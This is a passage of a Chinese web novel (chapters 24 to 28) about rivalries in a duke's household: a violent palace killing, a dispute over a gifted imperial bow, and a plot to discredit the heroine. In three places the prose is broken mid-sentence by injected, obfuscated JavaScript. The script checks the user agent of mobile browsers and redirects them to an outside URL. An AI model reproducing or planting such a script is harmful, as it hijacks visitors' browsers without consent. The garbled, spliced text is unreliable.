宫女小心地将茶盏放到皇后面前,然后松开手。 但她松得略快了些,茶盏碰到桌案,发出轻微的“叮”一声响。 小宫女吓了一跳,忙道:“奴婢该死,皇后娘娘恕罪!” 在皇后看来,这根本不算什么事,刚想说无碍,让她暂且先退下,小宫女却突然惨叫了一声。 原来皇帝上前来,将她狠狠踹了一脚。 将小宫女踹翻还不解气,萧煜又抽出挂在架子上的剑,朝这个宫女乱捅乱砍。 小宫女哭着往后退,却不慎摔倒在地,她连忙用手撑着往后躲,但这样的情形之下,她怎么可能躲得过手持利剑的皇帝? 皇后初时惊得手脚发凉,待反应过来,急忙出声:“陛下,陛下息怒,陛下万金之躯,何必与奴婢生气,小心伤了龙体!” 何至于此啊!这个宫女何其无辜! 皇帝仍然狂怒,将小宫女戳了几个窟窿,又当胸刺了另外一个宫女一剑,这才恨恨地扔下犹在滴血的剑,冷声吩咐:“拖出去!” 几个太监进来,迅速地将两个小宫女拖了下去。很快,两个宫女流下的鲜血也被擦得干干净净,就好像这宫殿里什么事也不曾发生过。 皇后闭了闭眼,缓缓地无力地坐下。 皇帝看她一眼,冷哼一声,随即拂袖而去。 25. 第 25 章 次日是二夫人王氏的生辰,镇国公府来了许多王氏的娘家人。 王氏很是春风得意,花蝴蝶似的转来转去。 王氏的娘家已是有些败落了,相较之下,嫁入镇国公府的王氏境遇是最好的了,在镇国公夫人面前她虽要低一头,可是在她的娘家人面前,她是被刻意奉承的姑太太。 王氏得意非凡,走路都有些飘飘然。 按礼节,府里的晚辈都应该向王氏祝贺,陈灵珠便做了两样针线,觑着二夫人回到内院的空档,给二夫人祝贺。 “祝二婶福寿康宁,春秋不老!” 二夫人让丫鬟接过陈灵珠的针线,笑着打量她。 这个大房的媳妇,远山眉杏仁眼,相貌确实不俗,可除了相貌这一样,其他的,可就有些拿不出手了。 是陈家的女儿便罢了,如今又被发现还是替其姊嫁过来的,是个假货。这还是其次,听说她嫁过来这些日子,先是与李济闹脾气,然后又一天到晚过家家似的与下人看病,哪有半分大家闺秀的样子? 赵氏将这么个儿媳妇迎进门,只好给自己添堵罢了! 不过,这一切都是赵氏活该,谁让她以前挑三拣四的。初初得知大房媳妇是假的时,她是一时没转过弯来,才会去找赵氏说那些话,后来想想,大房从此鸡飞狗跳才好呢,她乐得看戏。 她瞥了一眼站在一旁低着头的儿媳温月如,得意地点了点头。这个儿媳虽说有种种不如意之处,但比其大房这个媳妇来,好的却又不是一星半点了,至少她听话孝顺,指东不会往西,更重要的是,这个媳妇是她亲手挑的。 她难得和颜悦色地向温月如招了招手:“月如,来。” 温月如颇有些受宠若惊,婆母平时对她不是责骂,便是冷眼,今日这是怎么了? 她忐忑地走到二夫人身前,二夫人拉着她笑着道:“你无事时跟济儿媳妇一起说说话,我看她也怪闷的,你大伯母事忙,也顾不上她。” 二夫人说这个话,意在挑拨离间,因她知道,镇国公夫人因为敬茶闹的那一场,还有替嫁的缘故,对陈灵珠心里多少有些芥蒂,这些日子,连陈灵珠的请安都免了。哼,还不是因为不想看见这个媳妇,嫌她碍眼。 陈灵珠多少察觉出二夫人的意图,心想,如果二婶娘想挑拨离间,恐怕她要失望了。 她的婆母心里或许有些芥蒂,但并没有为难她,她又何必多生事端?有这时间,多玩乐一阵,或者多看两本医书岂不是更好? 她笑道:“谢二婶体恤,不过侄媳也有些事要忙,并不觉得闷。当然了,大嫂愿意与我说话,我求之不得。” 说着,她走到温月如身边,笑着与她说话。 二夫人暗暗撇了撇嘴,她刚才说那话,只是想刺激陈灵珠,让她对国公夫人不满,可不是真的想让她的媳妇陪陈灵珠说话。大房这个媳妇浑身是毛病,可别将她听话的媳妇带坏了。 这时,二夫人的丫鬟拿了一张弓进来。 “夫人,是这张吗?” “你们也过来看看。”二夫人连忙招手,将温月如拉到陈灵珠的另一边。 陈灵珠压根不懂弓箭,但二夫人让她看,便也看了一眼。 二夫人笑道:“今日我娘家人说到二爷,我侄儿说,希望有朝一日也能像他姑父一样弓马娴熟,我说功夫要从小练起,二爷他们不知流了多少汗,拉坏了多少弓,跑坏了多少马呢,我侄儿便说,想看一看姑父拉过的弓,恰好府里还留着好几张二爷以前用过的旧弓,我便去取了一张送给他,权当鼓励这孩子了。” 陈灵珠礼貌地点头,哦了一声。 二夫人将弓递到陈灵珠面前,笑道:“这一张,听说是陛下还未登基时用过的呢,二爷跟着先帝和陛下去打猎,二爷一箭双雕,陛下看了高兴,就把自己用的弓赏给他了。” 她笑,“那时候陛下还小呢,不知道自己的弓根本就不合二爷用,二爷拿回来放到至今,后面又赏了好几张,放着也是放着,如今给我侄儿用却是正好。” “我那侄儿,也是个勤奋好学的,跟我一向亲近,我也疼他,这弓送给他,也算是物尽其用了。” 王氏说着,难免有些得意。她的丈夫李融,也是文武兼备,然而如今的人说起镇国公府,却只会想到镇国公李跃和世子李济,极少有人提到李融,王氏为自己的丈夫不平。 她这么说,是想告诉陈灵珠,她的丈夫不但有一箭双雕的能力,还很得先帝和当今赏识,得到了很多赏赐。她要送给侄儿的这把弓,不过是区区其中之一罢了。 她想让陈灵珠别以为自己丈夫是世子就小瞧了二爷,更别小瞧了他们二房。 然而陈灵珠听了,面上并没有如她所愿露出敬佩之色,反而有些迟疑。她犹豫了一下,还是道:“二婶,既是陛下的赐物,转赠他人恐怕不妥。” 二夫人送人陛下用过的弓,若是被人知道了,扣一个“僭越”的罪名,那就麻烦了。 陈灵珠如今自己也算是镇国公府的人了,镇国公府得了这么个罪名,对她一点好处没有。 虽说陛下如今信重镇国公府,但帝王心思难测,还是小心谨慎些为好。 王氏或许想得到,或许想不到,但她提醒一下,也是她身为镇国公府世子夫人的责任。 只是这样一来,恐怕就会得罪这位二婶了。 果然,二夫人脸色一变,不高兴道:“有何不妥?这虽是陛下的旧物,却不是宫中出来的,那时候陛下还在潜邸呢。” 她不是想不到“僭越”这一点,只是不以为然罢了。 陛下对镇国公府的恩宠有目共睹,府内御赐之物数不胜数,莫说他还记不记得自己赐过这么一把弓,就算记得,这么一件小事,又哪里会计较! 陈灵珠见她不听,再劝道:“二婶,二叔想必还有其他的弓留在府里,令侄既然敬仰二叔,应当也不会介意弓是不是陛下赏赐的,二婶不如——” “你这媳妇,怎么这么不知礼数!” 王氏圆睁了双眼,怒道:“我送哪一把弓给侄儿,难道还要问过你的意思?” 陈灵珠无奈,“二婶,侄媳不是这个意思。” “长辈做事,几时轮到一个小辈指指点点?” “你别以为你的婚是陛下赐的,在这府里就高人一等,我告诉你,你虽是这府里的世子夫人,可我是你丈夫的二婶,是你的长辈!你这样目无尊长,成何体统!” 王氏越说越气不过,她是想看大房笑话的,怎么这个大房媳妇先来气她了呢? 陈灵珠道:“二婶,侄媳是好意提醒。二婶若觉得侄媳说得不对,不妨问一问祖母的意思。” 她并不是要搬出太夫人来压二夫人,可是这种事情,怎么慎重都不为过。 二夫人气得指着她,话也说不出来。 陈灵珠知道多说无益,福了福身,转身回了梅林上筑。 陈灵珠走后二夫人一口气才出得来,骂道:“我算是知道她父亲为何将她嫁过来了!这样目无尊长的人,爹娘疼爱才怪呢!” 又叫丫鬟将陈灵珠送的礼扔了,“谁稀罕她的破东西!” 再教训自己的儿媳妇:“你可别学她,没大没小,像个什么样子!往后不准与她来往!” 陈灵珠回到梅林上筑,站在庭院中犹豫了片刻,不知该往左回西院还是往右去找李济。 这些日子据她观察,镇国公府大房与二房之间,虽说二夫人与国公夫人时有交锋,但总体来说还算和睦,若她寻李济说这件事,难免有不敬长辈、搬弄是非之嫌。 她一个刚过门的媳妇,按常理来说,多一事不如少一事。 但这件事可大可小,若被人拿来做了文章,不仅二爷有麻烦,连镇国公府也会有麻烦。 犹豫了片刻,她做了决定。 她只做自己该做的,其他人怎么想,会不会认为她在搬唇弄舌,她管不了。凡事但求问心无愧罢了。 下定决心,她踏进了东院。 李济正歪在榻上,手上拿着一本书,余光瞥见她进来后却不说话,颇踌躇的模样,问她:“有事?” 陈灵珠点点头,把二夫人赠侄儿陛下御赐弓箭的事情说了,“世子,我是觉得,镇国公府树大招风,还是小心为妙。” 李济听了,看向她的眼神颇有些意味难辨。 陈灵珠被他看得不自在,问他:“世子这么看着我做什么?是觉得我说得不对?我也不是想多事,就是担心万一被有心人知道了揪着不放,陛下虽然信重镇国公府,但要是……总之,咱们何必给人留这样的把柄?” “你说得很好,做得也很好。”他微笑着颔首道。 他这么说,可见不是一昧护短的人,陈灵珠道:“世子说的,我也是镇国公府的人,自然要为镇国公府考虑。” 看了陈灵珠一会儿,他竟笑了起来:“你能这么想就好。” “此事你不必管了,我来处理。” …… 二夫人听闻太夫人有请,冷哼了一声:“必是那没教养的大房媳妇告了状!” 她也不惧,这根本不是什么大事,她那婆母想必也不至于听信了小贱人的谗言,小事化大。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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王氏听了心里咯噔一下,太夫人继续道:“只是,御赐之物非比寻常,你还是找你的娘家侄儿要回来罢。” 王氏道:“母亲,那弓就是小孩儿用的,陛下还是皇子时随手赐给二爷的,媳妇料想这弓定然没有记录在案。” 太夫人:“不管有没有记录,咱们不能被人抓到这个把柄。” 王氏还是不以为然道:“陛下哪儿会计较这个,咱们府里御赐之物多了,总不能每一件陛下都监察去处。” 太夫人看着她,眼中的失望之色掩不住:“你怎知陛下不会计较?就算陛下不计较,其他人呢?你可知多少人盯着镇国公府?” 王氏一噎,太夫人道:“老二媳妇,你也是有了年纪的人了,本来我也不想说你太重,可你总不能比一个小姑娘还看不清。” “咱们镇国公府看着是鲜花着锦,内里多少波涛暗涌,你可看见了?一个不小心,咱们的命能不能保住,都未可知。” “你也是饱读诗书的人,本来不必我这个老婆子说太多,也应当能看得清。” 王氏低头无言,心中却极不服气。 太夫人叹了口气,知她根本没听进去。 没办法,她强令道:“去拿回来罢,就说只是借他看一看,让你娘家人以后也不要再提此事。” 又补了句:“以后御赐之物都不能送人。” 王氏颇有些忿忿,已经送出去的东西拿回来,让她以后在娘家怎么见人? 不过一张小孩儿的弓罢了,连这么个小主她都做不了,怕不是要被她娘家那些嫂子在背地里笑死。然而对上太夫人那张难得有些严厉的脸,她只好不情不愿道:“是,媳妇知道了。” 出了太夫人的院子,王氏再也忍不住了,抱怨道:“平日里总说自己不偏心,看罢,就这么一件小事,也值得她特特地为她那大房的好孙媳出头!” 她身边的婆子道:“正是呢,不过一张弓罢了,倒这样来落夫人的面子,难道夫人在这府里这么多年,还比不上一个刚进门的小辈?” 王氏恨道:“说来说去,就是二爷和海儿比不上人家。我就不信,今日若是赵氏做了同样的事情,她能这样来说她!” 又想到陈灵珠,她咬了咬牙,她们之间的梁子,算是结下了。 以后总有陈灵珠运气低的时候,到时候可别怪她落井下石! 见儿媳妇温月如站在旁边像个鹌鹑似的也不为她说一句话,二夫人气不打一处来,骂道:“你也多劝着海儿些,海儿上进了,往后咱们婆媳就不用受这种窝囊气了!” 温月如诺诺应是,二夫人见她这个温吞模样,想骂又骂不出来,一股气萦绕在胸口,只能用帕子按着心口,快步往前去了。 26. 第 26 章 因着陈灵珠下棋表现出不俗的天分,字画也算不错,李济对她的一切都有了不合理的期待,譬如说,他竟提出让她弹琴,以为她说自己“不擅音律、一窍不通”是谦辞。 陈灵珠一脸为难,她现在是不怕别人知道她不会弹琴,可是一再地献丑,也称不上什么美事。 “世子,你确定要我弹吗?” 李济点头,让阿拙拿了琴进来,“你先试着奏一曲。” 陈灵珠尴尬地笑道:“就《高山流水》可好?” 就她这种鬼见愁的琴音,他听了可别后悔。 李济点头,陈灵珠坐到琴前,准备起手。 李济道:“这不是有模有样的嘛,几时倒这样谦虚起来。” 陈灵珠笑了,好心提醒他道:“世子先听一段罢,听了再说。” 果然,她认真地弹了小半段,李济脸上的表情渐渐崩裂。 不得不说,她甚是诚实,所谓不擅音律、一窍不通竟然一点不掺假。 他从未听过这样折磨人的琴音,说她弹得对罢,它不怎么在调子上,若说不对罢,它又多少还沾点边。 每当他忍无可忍之时,她忽又对了几个音,他刚觉勉强可忍,调子又一去不回头,走得六驾马车也拉不回来。总之,她的琴音在是与非之间来回切换,对与错之间不停徘徊,让人听了坐立难安,几乎要灵魂出窍。 而且,这样的琴音,他似在哪里听过。 一曲终了,陈灵珠停了手,看向李济。 “你没有说谎。”沉默良久,他道。 陈灵珠有些好笑,“我早说了我不擅长,世子非不信。” “无妨。”李济道:“我来教你。” 陈灵珠惊讶地看着他,听了一次还不够?还要教她? 李济走到琴案前,指着琴弦一处道:“高山部分,山高巍峨,所以此处应当如此。” 他示范了一次,对陈灵珠道:“你来试一试。” 陈灵珠照着做,看上去是像模像样了,但出来的声音完全不是那么回事。 李济又示范了一次,依然如此。再试,还是一样。 他抚额,为何别的方面这般聪慧的人,在音律上如此不开窍。 他走到陈灵珠身后,从她的身后探身过去,将她两只手放到琴弦上,道:“你这样……” 她的手甚是修长,软若无骨,还带着点温热,李济握到手里才后知后觉地反应过来,这个姿.势似乎太过亲密。 他弯腰时,能闻到她脖颈后散发出的淡淡的馨香,像给他修面那日她的帕子上的味道。 原来这是她身体的味道。 发觉自己的异样,他连忙放开她的手,直起身体,往左一步,虚虚比了比道:“你的手这样……” 在他的指引下,陈灵珠弹出来的调子果然与之前大为不同。 只是她总觉得他有点心不在焉,也不知认真听了没有。 她不小心弹错,他还道:“弹得很好,大有进步。” 最后一次,她照着李济教她的指法拂弦,自觉略有进步,李济却道:“怎么又回去了?” 陈灵珠:“……” 她觉得自己进步了啊!难道她不仅不会弹,连听都不会听? 她沮丧地垂下手道:“世子,我还是不学了,音律上面,我真的没有什么天分。” 李济吐出一口气,道:“我来弹一次,你留心看,留心听。” 他坐到琴案旁,完整弹奏了一曲《高山流水》。 李济不过身着家居常服,头发随意梳起,但他长相俊美,虽是如此穿着,但坐在那里就自有一股风流。 这个人明明在战场上是杀伐果断的将军,却又对音律这种文人雅事造诣颇深。一举一动都是世家公子的模样,太夫人偏又说他是“糙汉子”。 “世子弹得真好。”李济弹完一曲,她鼓了鼓掌,真心实意地夸奖道。 她表情真挚,双眼亮晶晶的,脸上带着笑意,漾出浅浅的酒窝,甜得人心头发痒。 李济心里的那根弦也似被轻轻拂了一下。 “不过尔尔。你勤加练习,也……或许也能如此。” 陈灵珠笑道:“算了罢,我没有这个天赋,就不折磨旁人的耳朵了。” 自知之明她还是有的,这样鬼见愁的琴音,谁人听了不怕?看她练琴的这会儿功夫,下人都躲了出去就知道了。 但李济道:“无妨,慢慢来,习琴本就有个过程。” 陈灵珠:“……” 此时已到了用膳时间,她的肚子叫了声,她尴尬道:“世子,我饿了,不如先用膳罢?” 李济道好,陈灵珠转身便准备回她的西院。 李济叫住她:“你去何处?” 这话问得好生奇怪,陈灵珠停住脚步,理所当然道:“回去用膳啊。” 方才不是说了么?还能去哪儿。 李济面露无奈,道:“一起用罢?” 从未想过还能如此选择的陈灵珠这才反应过来,想了想,也罢,一起就一起。 “世子喜欢吃什么?” 她问了一个之前就问过杏儿的问题,那时候,她还想着用他喜欢的食物试图唤醒他呢,可惜那些食物对他一点儿吸引力也没有。 “什么都吃。”他并不是挑剔的人,并无特别喜爱之食物。 “没有特别喜欢的吗?” 李济想了想:“炙羊肉不错。” 陈灵珠凉凉看他一眼,那他上次故意让阿拙在门口烤全羊,岂不是杀敌一千自损八百?为了为难她,这个人对自己也够狠的。 看到她的眼神,李济后知后觉地想起炙羊肉的事,忙礼尚往来地转移话题道:“你喜欢吃什么?” 陈灵珠也基本什么都吃,但不是因为她没有特别喜爱的,而是每一样,她都特别喜爱。 “我也什么都吃。” “以前不喜欢羊肉,但如今已是改了。”她又补充道。 羊肉是她最喜欢的食物之一,上次被李济将了一军,她白白错过了一头烤肥羊,她可不想因为一时斗气说出的话而导致以后都不能吃羊肉。 李济:“……” 两人对视一眼,彼此心照不宣。 饭菜很快送了上来,两人相对而坐。 成婚这么久,两人对弈过多次,但一起用膳,还是第一次。吃到一半,她忽然想起,时下夫妻一起用膳,有些所谓讲规矩的人家,妻子是要给丈夫布菜、服侍丈夫用膳的。 但她不是讲规矩的那种妻子。 这个念头刚起,她的碗里忽然多了几根鸡汁笋。 她一愣。 李济自己也是一愣,似是没想到自己会这么做,还看了看自己手里的银箸。 陈灵珠看看碗里的笋,又看看他。 “吃罢。”他的神色有些不自然,语气却平淡道。 “哦。”再不吃,倒显得她嫌弃似的。她夹起一条笋丝,放入了口中。 他笑了笑,却头痛似的,抚了抚额。 接下来的一段时日,两人一处用膳便成了惯例,李济抽空还会指导陈灵珠弹琴。 只是每当少夫人习琴时,梅林上筑的丫鬟、小厮们都痛苦不堪,纷纷找借口外出,只求远离梅林上筑,免受那骇人琴音的折磨。 小厮阿拙对世子佩服不已,能够如此忍耐少夫人的琴音,可见世子就是世子,不是他们这些下仆能够相比的。 …… 二人弹琴、用膳时,另一边厢,李照芙派丫鬟去接杨绾柔进府。 自从上次在永宁街相遇,她们二人就有了来往。 与李照芙这样脾气的大小姐往来,杨绾柔还算有经验,毕竟哄了陈灵瑛十几年。 正好李照芙又需要打听陈灵珠的事情,正所谓敌人的敌人即为朋友,所以两人还算说得来,近日频频相约见面。但杨绾柔来镇国公府还是第一次。 李照芙派了一个丫鬟到门口迎她,那丫鬟自称春风。 春风领着她往李照芙的院子而去,只见一路雕梁画栋,琼楼玉宇,看得杨绾柔心中艳羡不已。 她知道镇国公府富贵,但不知道镇国公府富贵至此,比陈家似乎还略胜一筹。 杨府也是个伯府,但与李、陈二府相比,差之远矣。 到了李照芙的院子,春风禀道:“姑娘,杨姑娘到了。” 李照芙本来倚在一张雕花黄花梨圈椅上,见人到了,这才懒懒站直身体道:“你来了?” 杨绾柔暗暗打量李照芙的屋子,见其被一扇喜鹊登梅的云母屏风隔开,屏风外琴棋书画,陈设井然,地面用整块的波斯地毯铺就,紫檀木雕兰花博古架上摆着汝窑美人觚等物,花梨木香几上放着博山炉,正袅袅燃着龙涎香。 而李照芙作家常打扮,双丫髻,头插珠花,着罗做成的朱红上裳,浅赭白花下裙。虽然似乎只是随意穿着,但隐隐透着不经意的富贵。 杨绾柔心中的歆羡满溢而出,尤其在看到李照芙的一个丫鬟头上戴的一只朱钗,是她那日在金玉阁看上了,但一时不够银子买的时。 她的心里万般不是滋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751513|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味,她买一只朱钗,还要积攒一段时间的银钱,或是哄了陈灵瑛送给她,而李照芙却可以这样随随便便地赏给一个丫鬟。 说起来大家都是千金小姐,差别怎就这么大呢。 杨绾柔在镇国公府待了半日,才回了杨府。 她直奔母亲金氏的院子,将屋子里的丫鬟婆子都打发出去,对正算账的母亲道:“娘,您一定要帮我!” 金氏一边拨着算盘,一边道:“何事要娘帮你?” 杨绾柔道:“娘!我要嫁给李济!我要嫁入镇国公府!娘快帮我想想办法!” 金氏吃了一惊,拨算盘的手停了下来。 她从没往这个方向想过,以前太多人争抢这个香饽饽,她们和陈府又是姻亲,自然不敢妄想。后来李济成了有妇之夫,她的女儿,总不能去做妾。 但杨绾柔这么一说,倒提醒了她。 其实也不是不可能。 陈灵珠可以,为什么她的女儿不行? 论容貌,陈灵珠虽然长得略好些,但她的女儿也是妩媚动人,并不比陈灵珠差多少,而且体态更为迷人。 论才德,陈灵珠草包的名声在外,而杨绾柔贤名和才名远扬。 论性情,陈灵珠性子执拗,眼里揉不得沙子,而杨绾柔能屈能伸,该温柔小意、伏低做小时绝不在话下,而且,她颇有心计,并不是陈灵珠这种横冲直撞的性子。 论家世,陈灵珠虽出身钟鸣鼎食之家,可她却是陈进的女儿,众所周知陈进追着弹劾李济,所以在这方面,陈灵珠并不占优势。而杨家好歹是个伯府,虽然是陈家的姻亲,却从未与镇国公府结怨。 御赐的婚姻,休妻大概没那么容易,但若是陈灵珠犯了不可原谅的错误呢?或者,死了呢。 若陈灵珠没了,那李济再娶的就是继室。一般而言,对继室的要求比元配要低一些。 有陈灵珠这样一个元配在前,杨绾柔做一个继室,以条件而论,堪称绰绰有余。 以前的镇国公府世子杨绾柔是够不着,可是现在,如果不打主意,那就白白便宜了陈灵珠。 高门贵女不会人人争着去做继室,只要碍眼的陈灵珠不在那个位置上,一切便有可能。 当然了,这并不是一件容易的事,须仔细筹谋。 杨绾柔见她母亲不说话,忙道:“娘,我若成了镇国公府世子夫人,不仅不用怕陈灵珠,就连表姐,我也不必费心去讨好了。” 这么些年,她费心费力地讨好陈灵瑛,疲累又憋屈,她早就不想伺候了。 “娘,你想想,我嫁入镇国公府,对咱们杨府有多少好处!娘,你帮我,就是帮了杨府,帮了父亲和哥哥!娘!” 他们杨府为什么要巴着陈府?不就是为了父亲和哥哥的前途,为了那点好处吗。若是她成了镇国公府的世子夫人,杨府能沾多少光! 攀上镇国公府有多少好处,金氏当然知道。可是,这不是她答应就能办成的事。她道:“你让娘想想。这件事非同小可,需得从长计议,好好谋划。” 想了想又道:“娘的想法是,若能嫁给李济做世子夫人是最好,若不能,镇国公府其他的公子也不是不可以考虑。你觉得如何?” 金氏知道,镇国公府除了李济,还有李澄也在适婚的年纪。李澄虽然比不上李济,但哪怕是李澄,也比普通人家的嫡子要好得多。何况,若杨绾柔运气够好,李济以后再有个什么意外,那镇国公世子之位,说不定就会落到李澄这个庶子的头上。譬如上一次,李济不是就差点死了吗? 杨绾柔道:“娘,我只想嫁给李世子,以后镇国公只会由李世子来做,我若嫁给镇国公府其他人,照样被那陈灵珠压一头!就是家产,其他人得到的,也是世子手中漏下来的残羹冷炙!娘,你快想想办法!女儿堂堂安平伯府的嫡长女,做继室已经够委屈了,女儿不愿嫁给那些庶出的!” 金氏一想,女儿说的也是。好端端的伯府嫡出的女儿嫁给庶子,就算是镇国公府的庶子,也让人心有不甘。 杨绾柔道:“娘,我去了镇国公府去才知道,原来镇国公府比陈府还富贵!女儿也想要有那样的富贵。” 她想起李照芙一掷千金的气度,又想到陈灵珠如今也过着那样的日子,心里酸得几乎要冒水。 金氏伸手理了理杨绾柔的头发,怜爱道:“我的女儿长得这样美,本来就应该嫁一户好人家。若你真能当成镇国公府的世子夫人,娘就跟着你享福了。” “柔儿,你听娘的,稍安勿躁,咱们慢慢寻摸机会,娘包管你嫁得如意郎君。” 27. 第 27 章 转眼就到了三月,春闱即将开考。 陈灵珠这些时日,已接连收到姑母的几封信,让她去看表兄沈信。 她硬着心肠写信回绝了,可是这日,她刚用了早膳,下人说她的二姑母求见,如今人就在花厅。 人都来了,陈灵珠不可能避而不见,便带着紫苏与茯苓二人来到花厅。 “珠儿!” 她刚踏进门槛,她的二姑母便站了起来,激动地叫她:“珠儿!” 陈灵珠给姑母见礼,二姑母上前两步,声音带上了哭腔:“珠儿,姑母求你,去看一看你表兄罢,再这样下去,他就要废了!姑母熬了这么多年,就指望着你表兄出人头地,可如今春闱在即,他还只顾着喝酒,叫姑母怎么办啊!姑母的心,真的都要碎了……” 二姑母说着,眼泪滚滚而下。 陈灵珠也是于心不忍,含泪道:“姑母……” 她知道姑母对表兄的期望,也知道表兄寒窗苦读了多年,为的是什么。 二姑母抓着她的双臂,求她:“珠儿,姑母知道你为难,姑母求你,你就去看你表兄一次,就一次,好不好?” 再是强迫自己冷硬着心肠,陈灵珠也无法面对和拒绝这样一个双眼含泪热切望着她的可怜母亲,她滴下泪来,“好。” 但去见沈信之前,她得先做一件事。 另一边的一间茶楼,杨绾柔与其母亲金氏正悠悠地品茶。 “娘,”杨绾柔不放心道:“您说,我们会成功吗?” 对杨绾柔来说,想成为镇国公府的世子夫人,有两样事情是她目前需要做的。 一是想办法让陈灵珠被镇国公府厌弃,二是让镇国公府喜欢她。 让镇国公府众人喜欢她不是一朝一夕的事情,但让他们厌恶陈灵珠的机会却是现成的——利用沈信即可。 沈信骤然失去了心爱的女子,痛苦不已,经常在酒馆喝得醉醺醺的。 以他的才华,金榜题名本来极有希望,但如今春闱在即,他还是终日买醉,他的母亲沈夫人自然着慌。 这时候,金氏以关心的名义造访,对沈夫人提点一番,沈夫人为了儿子,当然会去找陈灵珠。 只要陈灵珠与沈信见面,发生什么事就不好说了。若刚好被镇国公府的人看到了,到时候,陈灵珠跳进河里也洗不清。就算没有马上被休了,但日积月累的,不怕李济不厌弃她。 而在李济逐渐对讨厌陈灵珠的这一段时间,便是杨绾柔的最好时机。 金氏啜了一口茶,微笑道:“哪个男人那么大方,看到自己的女人与其他男人私会也不生气?” 杨绾柔想了想,觉得母亲说得很是,他父亲的小妾多看哥哥一眼,父亲还要大发雷霆呢,李济这样骄傲的男子,眼里岂能揉得下沙子? 她佩服道:“娘,还是您有办法。” 不得不说,姜还是老的辣。母亲答应她替她筹谋后,很快便有了主意。 那沈姑母本就为儿子烦恼,母亲这样的智多星出现,沈姑母自然言听计从。 她自己呢,则按母亲的安排,去李照芙面前透露陈灵珠即将与沈信见面的消息。 李照芙那个炮仗般的性子,果然一点就着,剩下的也不必她操心,李照芙都会做的。 她得意地弯了弯唇,有她和母亲在,陈灵珠别妄想安安稳稳地在镇国公府做什么世子夫人,那个位子,她抢定了! 金氏笑了笑道:“只她倒霉可不够,你也要开始露露脸了。” 虽说京城里十八九岁成亲的很多,但大多数人家,都在十六七岁就把亲事定了下来。 杨绾柔已经十七岁了,没有多少时候可以耽搁了。 杨绾柔笑道:“知道了娘,我会想办法在以后的婆母面前露面,让她对我有个好印象的。” 金氏拧了拧女儿的鼻子笑道:“我的女儿,我有信心。” 杨绾柔靠在母亲的手臂上,母女二人相视一笑。 …… 陈灵珠跟二姑母来到了沈宅。已是中午时分,表兄竟然还未起床,这在从前是不可想象的,表兄向来是个极刻苦的人,每日鸡鸣就起,半夜三更才睡下。 二姑母道:“这孩子最近日日如此,不是喝酒就是睡觉,哪里有半点以前的样子?珠儿,你帮姑母劝劝他,让他莫再如此了,姑母看着他这个样子,真是心都被挖了一块去。” 说着又流下泪。 陈灵珠默然半晌,点头道:“姑母请表兄过来罢。” 二姑母欲言又止,想了想到底没说什么,只道:“我去叫醒他,让他出来。”说着往沈信住的屋子去了,陈灵珠便在待客的地方坐着,等着沈信。 等了约摸半盏茶时间,隔壁屋起了响动,紧接着便是一阵急促的脚步声。 陈灵珠看向门口,来人头发散乱,衣衫不整,还光着一双脚。 她仔细看了看,才辩认出这个状若疯子的人就是素日温文尔雅的表兄沈信。 看到从前风度翩翩的表兄成了这个样子,她也是一呆。 沈信望着她,又惊又喜,刚想跑到她的面前,又突然停住了脚步。 他想起自己不但未洗漱,连鞋子也没穿,面露愧色,急道:“珠儿,你且等等我,我去去就来。”说着急忙回到隔壁自己的屋子洗漱穿衣去了。 紫苏、茯苓与陈灵珠一起来的,见陈灵珠心中难过,怕她失态,担忧地提醒道:“少夫人……” 陈灵珠勉强笑了笑,“没事,别担心,我有分寸。” 又过了半盏茶时间,沈信跑到她面前,笑着唤她:“珠儿!” 他将胡子刮净,换了干净体面的衣裳鞋袜,如今看来,又是个翩翩的少年公子了。 但陈灵珠如何看不出来,他身形瘦削,眼下更是青了一大块。 “珠儿!”沈信高兴道:“我终于见到你了!” 他急忙拿出一个紫檀首饰匣,打开,取出一只发簪递到陈灵珠的面前给她看:“这只发簪,是我在金玉阁为你的及笄订做的,总算可以送给你了!” 他这急于献宝的模样,看得陈灵珠和两个丫鬟心里都不是滋味。 陈灵珠看向那只发簪。这是一支蝴蝶形状的金簪,精美非常。 她知道,以表兄手中的银子,在金玉阁订做一个这样的发簪并不容易,他大概存了好久的银子。 心中感动,但她暗暗吸了一口气,硬着心肠道:“表兄,这于礼不合,我不能收。” 沈信的笑容微微一滞,苦笑道:“珠儿,你与我生分了。” 沈信一直用功读书,除了希望出人头地,也是希望有朝一日能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈灵珠站起身,深深一揖:“小妹恳请兄长不要因为一时失意,做下将来必会后悔之事!” 沈信急忙要去扶起她,又想起了什么,讪讪地缩回手。 陈灵珠直起了身,道:“表兄,这些日子,我也曾想过,若我真的成了寡妇,或者李济面目可憎,我会怎么做。” “我也许会举步维艰,可有一点我知道自己绝不会做——那就是,我不会自怨自艾,任由自己沉沦。” “我会接受现实,然后在困境中想办法过好自己的日子。” “我尚且能够如此,难道表兄还不如我一个小小女子?” 赤红渐渐透出沈信的俊脸,他欲言又止,良久道:“珠儿,表兄让你看笑话了。” 陈灵珠摇摇头:“表兄向来是个顶天立地的男子汉,只是受了打击,一时钻了牛角尖罢了。” 她又施了一礼,“小妹等着表兄高中的好消息。” 说完,她转身,头也不回地走了。 紫苏连忙福了福身跟上。 陈灵珠出了沈宅,一抬眼,竟看到李照芙就站在沈宅的门前。 她不免吃了一惊,本能地后退半步。 28. 第 28 章 